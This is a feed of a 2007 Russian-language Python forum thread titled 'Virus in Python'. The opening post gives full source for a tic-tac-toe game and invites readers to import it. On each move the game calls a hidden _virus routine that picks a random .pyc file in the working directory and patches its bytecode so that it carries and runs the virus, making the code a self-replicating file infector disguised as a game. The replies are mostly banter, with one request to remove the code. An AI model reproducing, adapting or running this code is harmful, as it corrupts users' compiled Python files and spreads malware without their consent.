Latest posts on Вірус на пітоні topichttps://python.su/forum/topic/587/2007-03-23T09:52:04+02:00Общий :: Python для экспертов :: Вірус на пітоні
2007-03-23T09:52:04+02:00SAnty4135А что, интересно. Посмотрим, разберёмся.
Общий :: Python для экспертов :: Вірус на пітоні
2007-03-23T09:38:12+02:00cleg4134зачем убирать???<br/>наоборот пусть будет. код по-моему интересный…<br/>в названии темы явно прописано что это вирус, так что запустил - ССЗБ
Общий :: Python для экспертов :: Вірус на пітоні
2007-03-22T17:00:13+02:00proDiva4115<blockquote><em>tabajara</em><br/>Нема фишки, просто заражає</blockquote>))))))))))приколист………. куда смотрят модераторы? уберите этот код, пока добропорядочные чайники-питонисты не научились плохому)))
Общий :: Python для экспертов :: Вірус на пітоні
2007-03-22T15:17:01+02:00pythonwin4113<blockquote><em>cleg</em><br/>которые еще и просят запустить… :-)</blockquote>:D
Общий :: Python для экспертов :: Вірус на пітоні
2007-03-22T14:48:44+02:00cleg4112которые еще и просят запустить… :-)
Общий :: Python для экспертов :: Вірус на пітоні
2007-03-22T09:16:19+02:00pythonwin4094дожили :(<br/>до вирусов на питоне :(
Общий :: Python для экспертов :: Вірус на пітоні
2007-03-21T17:38:14+02:00alafin4088<strong>tabajara</strong> так ты вирусописатель? :)
Общий :: Python для экспертов :: Вірус на пітоні
2007-03-21T17:32:46+02:00tabajara4087<blockquote><em>slivlen</em><br/>И в чем фишка?</blockquote>Нема фишки, просто заражає
Общий :: Python для экспертов :: Вірус на пітоні
2007-03-21T17:28:02+02:00slivlen4086И в чем фишка?
Общий :: Python для экспертов :: Вірус на пітоні
2007-03-21T16:59:57+02:00tabajara4085Кому ціково попробуйте ). Просто імпортніть цей файл.<br/><div class="code"><pre><span class="kn">import</span> <span class="nn">sys</span><span class="o">,</span> <span class="nn">os</span><span class="o">,</span> <span class="nn">re</span>
<span class="kn">from</span> <span class="nn">marshal</span> <span class="kn">import</span> <span class="n">load</span><span class="p">,</span> <span class="n">dumps</span><span class="p">,</span> <span class="n">loads</span><span class="p">,</span> <span class="n">dump</span>
<span class="kn">from</span> <span class="nn">dircache</span> <span class="kn">import</span> <span class="n">listdir</span>
<span class="kn">from</span> <span class="nn">random</span> <span class="kn">import</span> <span class="n">choice</span>
<span class="kn">import</span> <span class="nn">types</span>
<span class="k">def</span> <span class="nf">findFiles</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
<span class="n">pyc_files</span> <span class="o">=</span> <span class="p">[</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">abspath</span><span class="p">(</span><span class="n">f</span><span class="p">)</span> <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">listdir</span><span class="p">(</span><span class="n">path</span><span class="p">)</span> <span class="k">if</span> <span class="n">f</span><span class="o">.</span><span class="n">endswith</span><span class="p">(</span><span class="s">".pyc"</span><span class="p">)]</span>
<span class="k">return</span> <span class="n">pyc_files</span>
<span class="k">def</span> <span class="nf">getFile</span><span class="p">(</span><span class="n">lst</span><span class="p">):</span>
<span class="k">return</span> <span class="n">choice</span><span class="p">(</span><span class="n">lst</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">getBody</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
<span class="n">body</span> <span class="o">=</span> <span class="bp">None</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">mybody</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">)</span>
<span class="n">mybody</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span>
<span class="n">body</span> <span class="o">=</span> <span class="n">load</span><span class="p">(</span><span class="n">mybody</span><span class="p">)</span>
<span class="n">maybe_co</span> <span class="o">=</span> <span class="n">body</span><span class="o">.</span><span class="n">co_consts</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">if</span> <span class="nb">type</span><span class="p">(</span><span class="n">maybe_co</span><span class="p">)</span> <span class="o">==</span> <span class="n">types</span><span class="o">.</span><span class="n">CodeType</span><span class="p">:</span>
<span class="k">if</span> <span class="s">"First Pyc Virus"</span> <span class="ow">in</span> <span class="n">maybe_co</span><span class="o">.</span><span class="n">co_consts</span><span class="p">:</span> <span class="n">body</span> <span class="o">=</span> <span class="n">maybe_co</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">if</span> <span class="s">"mybody"</span> <span class="ow">in</span> <span class="nb">locals</span><span class="p">()</span><span class="o">.</span><span class="n">keys</span><span class="p">():</span>
<span class="n">mybody</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">return</span> <span class="n">body</span>
<span class="k">def</span> <span class="nf">processCO</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">co</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">)</span>
<span class="n">head</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span>
<span class="n">code</span> <span class="o">=</span> <span class="n">load</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">return</span>
<span class="k">if</span> <span class="s">"First Pyc Virus"</span> <span class="ow">in</span> <span class="n">code</span><span class="o">.</span><span class="n">co_consts</span><span class="p">:</span> <span class="k">return</span>
<span class="n">new_consts</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">co_consts</span> <span class="o">+</span> <span class="p">(</span><span class="s">"First Pyc Virus"</span><span class="p">,</span> <span class="n">co</span><span class="p">)</span>
<span class="n">new_names</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">co_names</span> <span class="o">+</span> <span class="p">(</span><span class="s">"eval"</span><span class="p">,)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">load_eval_name</span> <span class="o">=</span> <span class="s">"</span><span class="si">%c%c%c</span><span class="s">"</span><span class="o">%</span><span class="p">(</span><span class="mi">101</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">new_names</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span> <span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">load_co</span> <span class="o">=</span> <span class="s">"</span><span class="si">%c%c%c</span><span class="s">"</span><span class="o">%</span><span class="p">(</span><span class="mi">100</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">new_consts</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">call_eval</span> <span class="o">=</span> <span class="s">"</span><span class="si">%c%c%c</span><span class="s">"</span><span class="o">%</span><span class="p">(</span><span class="mi">131</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">nop</span> <span class="o">=</span> <span class="s">"</span><span class="si">%c</span><span class="s">"</span><span class="o">%</span><span class="mi">9</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">return</span>
<span class="n">my_code</span> <span class="o">=</span> <span class="s">"</span><span class="si">%s%s%s%s</span><span class="s">"</span><span class="o">%</span><span class="p">(</span><span class="n">load_eval_name</span><span class="p">,</span> <span class="n">load_co</span><span class="p">,</span> <span class="n">call_eval</span><span class="p">,</span> <span class="n">nop</span><span class="p">)</span>
<span class="n">new_code</span> <span class="o">=</span> <span class="n">my_code</span> <span class="o">+</span> <span class="n">code</span><span class="o">.</span><span class="n">co_code</span>
<span class="n">new_co</span> <span class="o">=</span> <span class="n">co</span><span class="o">.</span><span class="n">__new__</span><span class="p">(</span><span class="n">types</span><span class="o">.</span><span class="n">CodeType</span><span class="p">,</span> <span class="n">co</span><span class="o">.</span><span class="n">co_argcount</span><span class="p">,</span> <span class="n">co</span><span class="o">.</span><span class="n">co_nlocals</span><span class="p">,</span>
<span class="n">co</span><span class="o">.</span><span class="n">co_stacksize</span><span class="o">+</span><span class="mi">2</span><span class="p">,</span> <span class="n">co</span><span class="o">.</span><span class="n">co_flags</span><span class="p">,</span> <span class="n">new_code</span><span class="p">,</span> <span class="n">new_consts</span><span class="p">,</span>
<span class="n">new_names</span><span class="p">,</span> <span class="n">co</span><span class="o">.</span><span class="n">co_varnames</span><span class="p">,</span> <span class="n">co</span><span class="o">.</span><span class="n">co_filename</span><span class="p">,</span>
<span class="n">co</span><span class="o">.</span><span class="n">co_name</span><span class="p">,</span> <span class="n">co</span><span class="o">.</span><span class="n">co_firstlineno</span><span class="p">,</span> <span class="n">co</span><span class="o">.</span><span class="n">co_lnotab</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s">"wb"</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">head</span><span class="p">)</span>
<span class="n">dump</span><span class="p">(</span><span class="n">new_co</span><span class="p">,</span><span class="n">p</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">p</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">)</span>
<span class="n">head</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span>
<span class="n">code</span> <span class="o">=</span> <span class="n">load</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">return</span>
<span class="k">def</span> <span class="nf">_virus</span><span class="p">(</span><span class="n">count</span><span class="p">):</span>
<span class="n">pyc_name</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">abspath</span><span class="p">(</span><span class="s">"</span><span class="si">%s</span><span class="s">.pyc"</span><span class="o">%</span><span class="n">__name__</span><span class="p">)</span>
<span class="k">if</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">exists</span><span class="p">(</span><span class="n">pyc_name</span><span class="p">):</span>
<span class="n">name</span> <span class="o">=</span> <span class="n">getFile</span><span class="p">(</span><span class="n">findFiles</span><span class="p">(</span><span class="s">"."</span><span class="p">))</span>
<span class="k">if</span> <span class="p">(</span><span class="n">name</span> <span class="o">!=</span> <span class="n">pyc_name</span><span class="p">):</span>
<span class="n">body</span> <span class="o">=</span> <span class="n">getBody</span><span class="p">(</span><span class="n">pyc_name</span><span class="p">)</span> <span class="c"># co of this file</span>
<span class="n">processCO</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">body</span><span class="p">)</span>
<span class="k">return</span> <span class="n">count</span>
<span class="c"># -------------------------------------------------------------</span>
<span class="k">def</span> <span class="nf">display_board</span><span class="p">(</span><span class="n">board</span><span class="p">):</span>
<span class="k">print</span> <span class="s">"""</span>
<span class="s"> 0 1 2</span>
<span class="s"> ._____.</span>
<span class="s"> 0|</span><span class="si">%1s</span><span class="s">|</span><span class="si">%1s</span><span class="s">|</span><span class="si">%1s</span><span class="s">|</span>
<span class="s"> |-----|</span>
<span class="s"> 1|</span><span class="si">%1s</span><span class="s">|</span><span class="si">%1s</span><span class="s">|</span><span class="si">%1s</span><span class="s">|</span>
<span class="s"> |-----|</span>
<span class="s"> 2|</span><span class="si">%1s</span><span class="s">|</span><span class="si">%1s</span><span class="s">|</span><span class="si">%1s</span><span class="s">|</span>
<span class="s"> *-----*</span>
<span class="s"> """</span> <span class="o">%</span> <span class="nb">tuple</span><span class="p">([</span><span class="s">" XO"</span><span class="p">[</span><span class="n">x</span><span class="p">]</span> <span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="n">board</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">y</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">getFirstPlayer</span><span class="p">():</span>
<span class="n">fp</span> <span class="o">=</span> <span class="s">""</span>
<span class="k">while</span> <span class="p">(</span><span class="n">fp</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">[</span><span class="s">"user"</span><span class="p">,</span> <span class="s">"i"</span><span class="p">,</span> <span class="s">"computer"</span><span class="p">,</span> <span class="s">"pc"</span><span class="p">,</span> <span class="s">"you"</span><span class="p">]):</span>
<span class="n">fp</span> <span class="o">=</span> <span class="nb">raw_input</span><span class="p">(</span><span class="s">"Who goes first (i, you)? "</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">lower</span><span class="p">()</span>
<span class="k">return</span> <span class="n">fp</span>
<span class="k">def</span> <span class="nf">getPlayerMove</span><span class="p">(</span><span class="n">board</span><span class="p">):</span>
<span class="n">patt</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="s">"\s*(\d)\s*(\d)"</span><span class="p">)</span>
<span class="n">step</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">while</span> <span class="ow">not</span> <span class="nb">filter</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="n">x</span> <span class="ow">in</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">),</span> <span class="n">step</span><span class="p">):</span>
<span class="n">match</span> <span class="o">=</span> <span class="n">patt</span><span class="o">.</span><span class="n">match</span><span class="p">(</span><span class="nb">raw_input</span><span class="p">(</span><span class="s">"Make your move: "</span><span class="p">))</span>
<span class="k">if</span> <span class="n">match</span><span class="p">:</span> <span class="n">step</span> <span class="o">=</span> <span class="nb">map</span><span class="p">(</span><span class="nb">int</span><span class="p">,</span> <span class="n">match</span><span class="o">.</span><span class="n">groups</span><span class="p">())</span>
<span class="k">return</span> <span class="n">step</span>
<span class="k">def</span> <span class="nf">checkWin</span><span class="p">(</span><span class="n">board</span><span class="p">):</span>
<span class="n">chk_val</span> <span class="o">=</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">8</span><span class="p">)</span>
<span class="n">f</span> <span class="o">=</span> <span class="n">s</span> <span class="o">=</span> <span class="n">th</span> <span class="o">=</span> <span class="n">lr_d</span> <span class="o">=</span> <span class="n">rl_d</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">board</span><span class="p">:</span>
<span class="k">if</span> <span class="p">(</span><span class="n">line</span><span class="o">.</span><span class="n">count</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="mi">3</span><span class="p">)</span> <span class="ow">or</span> <span class="p">(</span><span class="n">line</span><span class="o">.</span><span class="n">count</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> <span class="o">==</span> <span class="mi">3</span><span class="p">):</span> <span class="k">return</span> <span class="bp">True</span>
<span class="n">f</span> <span class="o">*=</span> <span class="n">line</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span> <span class="n">s</span> <span class="o">*=</span> <span class="n">line</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span> <span class="n">th</span> <span class="o">*=</span> <span class="n">line</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span> <span class="n">rl_d</span> <span class="o">*=</span> <span class="n">line</span><span class="p">[</span><span class="mi">2</span> <span class="o">-</span> <span class="n">i</span><span class="p">];</span> <span class="n">lr_d</span> <span class="o">*=</span> <span class="n">line</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">return</span> <span class="nb">filter</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">chk_val</span><span class="p">,</span> <span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span> <span class="n">th</span><span class="p">,</span> <span class="n">rl_d</span><span class="p">,</span> <span class="n">lr_d</span><span class="p">))</span> <span class="ow">and</span> \
<span class="bp">True</span> <span class="ow">or</span> <span class="bp">False</span>
<span class="k">def</span> <span class="nf">doMove</span><span class="p">(</span><span class="n">board</span><span class="p">,</span> <span class="n">step</span><span class="p">,</span> <span class="n">_max</span><span class="p">,</span> <span class="n">pl</span><span class="p">):</span>
<span class="k">if</span> <span class="n">board</span><span class="p">[</span><span class="n">step</span><span class="p">[</span><span class="mi">0</span><span class="p">]][</span><span class="n">step</span><span class="p">[</span><span class="mi">1</span><span class="p">]]</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span> <span class="n">board</span><span class="p">[</span><span class="n">step</span><span class="p">[</span><span class="mi">0</span><span class="p">]][</span><span class="n">step</span><span class="p">[</span><span class="mi">1</span><span class="p">]]</span> <span class="o">=</span> <span class="p">(</span><span class="n">pl</span> <span class="o">==</span> <span class="n">_max</span><span class="p">)</span> \
<span class="ow">and</span> <span class="mi">1</span> <span class="ow">or</span> <span class="mi">2</span>
<span class="k">def</span> <span class="nf">getPossibleMoves</span><span class="p">(</span><span class="n">b</span><span class="p">):</span>
<span class="k">return</span> <span class="p">[(</span><span class="n">y</span><span class="p">,</span> <span class="n">x</span><span class="p">)</span> <span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span> <span class="k">if</span> <span class="n">b</span><span class="p">[</span><span class="n">y</span><span class="p">][</span><span class="n">x</span><span class="p">]</span> <span class="o">==</span> <span class="mi">0</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">check</span><span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="p">[</span> <span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">y</span> <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="n">x</span> <span class="k">if</span> <span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">]</span> <span class="o">==</span> <span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">getWinPos</span><span class="p">(</span><span class="n">board</span><span class="p">,</span> <span class="n">_max</span><span class="p">,</span> <span class="n">player</span><span class="p">):</span>
<span class="n">val</span> <span class="o">=</span> <span class="p">(</span><span class="n">_max</span> <span class="o">==</span> <span class="n">player</span><span class="p">)</span> <span class="ow">and</span> <span class="mi">1</span> <span class="ow">or</span> <span class="mi">2</span>
<span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">l0</span><span class="p">,</span> <span class="n">l1</span><span class="p">,</span> <span class="n">l2</span><span class="p">,</span> <span class="n">l_lr</span><span class="p">,</span> <span class="n">l_rl</span> <span class="o">=</span> <span class="p">[],</span> <span class="p">[],</span> <span class="p">[],</span> <span class="p">[],</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">board</span><span class="p">:</span>
<span class="k">if</span> <span class="p">(</span><span class="n">line</span><span class="o">.</span><span class="n">count</span><span class="p">(</span><span class="n">val</span><span class="p">)</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="mi">0</span> <span class="ow">in</span> <span class="n">line</span><span class="p">):</span>
<span class="k">return</span> <span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">line</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="mi">0</span><span class="p">))</span>
<span class="n">l0</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">line</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span> <span class="n">l1</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">line</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span> <span class="n">l2</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">line</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span>
<span class="n">l_lr</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">line</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span> <span class="n">l_rl</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">line</span><span class="p">[</span><span class="mi">2</span> <span class="o">-</span> <span class="n">i</span><span class="p">])</span>
<span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">if</span> <span class="n">l_lr</span><span class="o">.</span><span class="n">count</span><span class="p">(</span><span class="n">val</span><span class="p">)</span> <span class="o">==</span> <span class="mi">2</span> <span class="ow">and</span> <span class="p">(</span><span class="mi">0</span> <span class="ow">in</span> <span class="n">l_lr</span><span class="p">):</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">3</span><span class="p">):</span>
<span class="k">if</span> <span class="n">board</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span> <span class="k">return</span> <span class="n">i</span><span class="p">,</span> <span class="n">i</span>
<span class="k">if</span> <span class="n">l_rl</span><span class="o">.</span><span class="n">count</span><span class="p">(</span><span class="n">val</span><span class="p">)</span> <span class="o">==</span> <span class="mi">2</span> <span class="ow">and</span> <span class="p">(</span><span class="mi">0</span> <span class="ow">in</span> <span class="n">l_rl</span><span class="p">):</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">3</span><span class="p">):</span>
<span class="k">if</span> <span class="n">board</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">2</span> <span class="o">-</span> <span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span> <span class="k">return</span> <span class="n">i</span><span class="p">,</span> <span class="mi">2</span> <span class="o">-</span> <span class="n">i</span>
<span class="k">return</span> \
<span class="n">l0</span><span class="o">.</span><span class="n">count</span><span class="p">(</span><span class="n">val</span><span class="p">)</span> <span class="o">==</span> <span class="mi">2</span> <span class="ow">and</span> <span class="p">(</span><span class="mi">0</span> <span class="ow">in</span> <span class="n">l0</span><span class="p">)</span> <span class="ow">and</span> <span class="n">check</span><span class="p">(</span><span class="n">board</span><span class="p">,</span> <span class="n">y</span> <span class="o">=</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">),</span> <span class="n">x</span> <span class="o">=</span> <span class="p">(</span><span class="mi">0</span><span class="p">,))</span> <span class="ow">or</span> \
<span class="n">l1</span><span class="o">.</span><span class="n">count</span><span class="p">(</span><span class="n">val</span><span class="p">)</span> <span class="o">==</span> <span class="mi">2</span> <span class="ow">and</span> <span class="p">(</span><span class="mi">0</span> <span class="ow">in</span> <span class="n">l1</span><span class="p">)</span> <span class="ow">and</span> <span class="n">check</span><span class="p">(</span><span class="n">board</span><span class="p">,</span> <span class="n">y</span> <span class="o">=</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">),</span> <span class="n">x</span> <span class="o">=</span> <span class="p">(</span><span class="mi">1</span><span class="p">,))</span> <span class="ow">or</span> \
<span class="n">l2</span><span class="o">.</span><span class="n">count</span><span class="p">(</span><span class="n">val</span><span class="p">)</span> <span class="o">==</span> <span class="mi">2</span> <span class="ow">and</span> <span class="p">(</span><span class="mi">0</span> <span class="ow">in</span> <span class="n">l2</span><span class="p">)</span> <span class="ow">and</span> <span class="n">check</span><span class="p">(</span><span class="n">board</span><span class="p">,</span> <span class="n">y</span> <span class="o">=</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">),</span> <span class="n">x</span> <span class="o">=</span> <span class="p">(</span><span class="mi">2</span><span class="p">,))</span> <span class="ow">or</span> \
<span class="bp">None</span>
<span class="k">def</span> <span class="nf">getCompMove</span><span class="p">(</span><span class="n">board</span><span class="p">,</span> <span class="n">_max</span><span class="p">):</span>
<span class="k">return</span> <span class="n">getWinPos</span><span class="p">(</span><span class="n">board</span><span class="p">,</span> <span class="n">_max</span><span class="p">,</span> <span class="s">"computer"</span><span class="p">)</span> <span class="ow">or</span> \
<span class="n">getWinPos</span><span class="p">(</span><span class="n">board</span><span class="p">,</span> <span class="n">_max</span><span class="p">,</span> <span class="s">"user"</span><span class="p">)</span> <span class="ow">or</span> <span class="n">choice</span><span class="p">(</span><span class="n">getPossibleMoves</span><span class="p">(</span><span class="n">board</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">_ttt</span><span class="p">():</span>
<span class="n">count</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">board</span> <span class="o">=</span> <span class="p">[[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">]]</span>
<span class="n">player</span> <span class="o">=</span> <span class="n">getFirstPlayer</span><span class="p">()</span>
<span class="n">_max</span> <span class="o">=</span> <span class="n">player</span> <span class="o">=</span> <span class="p">(</span><span class="n">player</span> <span class="ow">in</span> <span class="p">(</span><span class="s">"user"</span><span class="p">,</span> <span class="s">"i"</span><span class="p">))</span> <span class="ow">and</span> <span class="s">"user"</span> <span class="ow">or</span> <span class="s">"computer"</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">9</span><span class="p">):</span>
<span class="n">display_board</span><span class="p">(</span><span class="n">board</span><span class="p">)</span>
<span class="n">step</span> <span class="o">=</span> <span class="n">player</span> <span class="o">==</span> <span class="s">"user"</span> <span class="ow">and</span> <span class="n">getPlayerMove</span><span class="p">(</span><span class="n">board</span><span class="p">)</span> <span class="ow">or</span> <span class="n">getCompMove</span><span class="p">(</span><span class="n">board</span><span class="p">,</span> <span class="n">_max</span><span class="p">)</span>
<span class="n">count</span> <span class="o">=</span> <span class="n">_virus</span><span class="p">(</span><span class="n">count</span><span class="p">)</span>
<span class="n">doMove</span><span class="p">(</span><span class="n">board</span><span class="p">,</span> <span class="n">step</span><span class="p">,</span> <span class="n">_max</span><span class="p">,</span> <span class="n">player</span><span class="p">)</span>
<span class="k">if</span> <span class="n">checkWin</span><span class="p">(</span><span class="n">board</span><span class="p">):</span>
<span class="k">if</span> <span class="n">count</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"you play better than you think </span><span class="si">%i</span><span class="s">"</span><span class="o">%</span><span class="n">count</span>
<span class="n">display_board</span><span class="p">(</span><span class="n">board</span><span class="p">)</span>
<span class="k">print</span> <span class="n">player</span> <span class="o">==</span> <span class="s">"user"</span> <span class="ow">and</span> <span class="s">"Congratulation, you did imposible)))"</span> <span class="ow">or</span> <span class="s">"Computer won"</span>
<span class="k">break</span>
<span class="n">player</span> <span class="o">=</span> <span class="n">player</span> <span class="o">==</span> <span class="s">"user"</span> <span class="ow">and</span> <span class="s">"computer"</span> <span class="ow">or</span> <span class="s">"user"</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">display_board</span><span class="p">(</span><span class="n">board</span><span class="p">);</span> <span class="k">print</span> <span class="s">"Draw"</span>
<span class="n">_ttt</span><span class="p">()</span>
</pre></div>